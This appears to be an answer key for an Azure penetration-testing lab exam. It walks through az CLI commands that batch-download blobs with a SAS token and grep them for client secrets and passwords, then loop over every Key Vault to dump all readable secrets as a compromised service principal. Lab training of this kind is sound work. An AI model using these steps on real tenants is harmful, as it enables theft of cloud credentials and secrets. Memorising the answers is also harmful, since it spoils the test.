CCPenX-Az Questions and Answers

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
